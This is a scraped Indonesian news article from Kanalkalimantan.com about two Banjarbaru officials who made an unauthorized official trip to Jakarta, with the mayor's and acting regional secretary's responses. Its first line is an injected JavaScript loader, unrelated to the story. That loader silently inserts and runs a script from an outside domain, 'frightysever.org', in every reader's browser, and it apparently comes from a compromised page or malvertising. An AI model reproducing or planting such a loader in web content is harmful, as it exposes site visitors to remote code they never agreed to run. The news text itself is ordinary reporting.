(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Kasus dua pejabat Pemko Banjarbaru yang melakukan perjalanan dinas (Perjadin) luar daerah tanpa izin direspon Wali Kota Banjarbaru Aditya Mufti Ariffin.
Sebelumnya diberitakan pejabat eselon II dan III itu ke luar daerah tanpa disposisi dari atasan kepegawaian.
Dua pejabat itu ikut menghadiri penyerahan penghargaan Wahana Tata Nugraha tahun 2024 di Jakarta, 6-8 September 2024. Dugaan pelanggaran dua pejabat itu membuat Penjabat (Pj) Sekretaris Daerah (Sekda) Kota Banjarbaru Dra Hj Nurliani MAp merasa dilangkahi.
Baca juga: 17 Kandang Babi di Guntung Manggis Belum Dibongkar, Ada Tambahan Ternak Baru
Saat dikonfirmasi Kanalkalimantan.com, Wali Kota Aditya mengaku telah memberikan instruksi kepada Inspektorat Kota Banjarbaru untuk menindaklanjuti dugaan pelanggaran kepegawaian itu.
“Sudah instruksikan kepada inspektur untuk menindaklanjuti hal tersebut,” ujar Wali Kota Banjarbaru Aditya Mufti Arifiin saat ditemui di lesehan Bina Wisata Banjarbaru, Senin (9/9/2024) siang.
Entah belum mendapat laporan, Wali Kota Aditya malah mengaku belum mengetahui pasti apakah memang ada kelalaian atau tidak. Instruksi untuk melakukan tindakan, katanya, baru diberikan kepada Inspektorat Kota Banjarbaru pada Senin (9/9/2024).
Baca juga: Bawaslu Banjarbaru Bawa Perkara Mantan Ketua KPU ke DKPP
“Makanya ditindaklanjuti dan dipelajari dulu oleh inspektur, jadi kita tunggu laporan dari inspektur,” kata Aditya.
“Baru mulai hari ini, karena hari pertama kerja setelah ribut itu, namun yang jelas ke Inspektur sudah minta lakukan tindakan,” katanya.
Anehnya, Wali Kota Banjarbaru mengaku belum mengetahui nama pejabat yang diduga melakukan perjadin ke luar daerah tanpa izin itu. Malah menganjurkan melakukan cek langsung ke Penjabat (Pj) Sekretaris Daerah (Sekda) Kota Banjarbaru.
Baca juga: Aula SMAN 7 Banjarmasin Ambruk, Siswa Sempat Terperosok
Sementara itu, Pj Sekda Banjarbaru Dra Hj Nurliani MAp kepada Kanalkalimantan meyakini bahwa Wali Kota Banjarbaru mengetahui dua pejabat yang melakukan perjadin ke luar daerah tanpa izin itu. Meski begitu ia memilih untuk tetap menyembunyikan identitas dua pejabat itu.
“Saya sudah laporkan ke Wali Kota sejak Jumat lalu,” ucapnya. “Rasanya tidak mungkin Wali Kota tidak tahu ada pejabat daerah yang keluar daerah tanpa izin,” tegasnya. (Kanalkalimantan.com/wanda)
Reporter : wanda
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Telur yang acap kali masuk dalam daftar sembilan bahan pokok (Sembako) belakangan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Momentum masyarakat Banjarbaru merayakan pesta demokrasi terjadi di kampanye terbuka pasangan Wali… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilu (Bawaslu) Kabupaten Barito Kuala menggelar rapat koordinasi dalam rangka… Read More
KANALKALIMANTAN.COM, BANJARBARU - Harga sejumlah bahan pangan dan kebutuhan pokok masyarakat merembet naik menjelang akhir… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Polisi Air dan Udara (Satpolairud) Polres Banjarmasin mengungkap kasus bisnis ilegal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Proses Penggantian Antar Waktu (PAW) Komisioner KPU Banjarbaru masih berjalan, meski tahapan… Read More
This website uses cookies.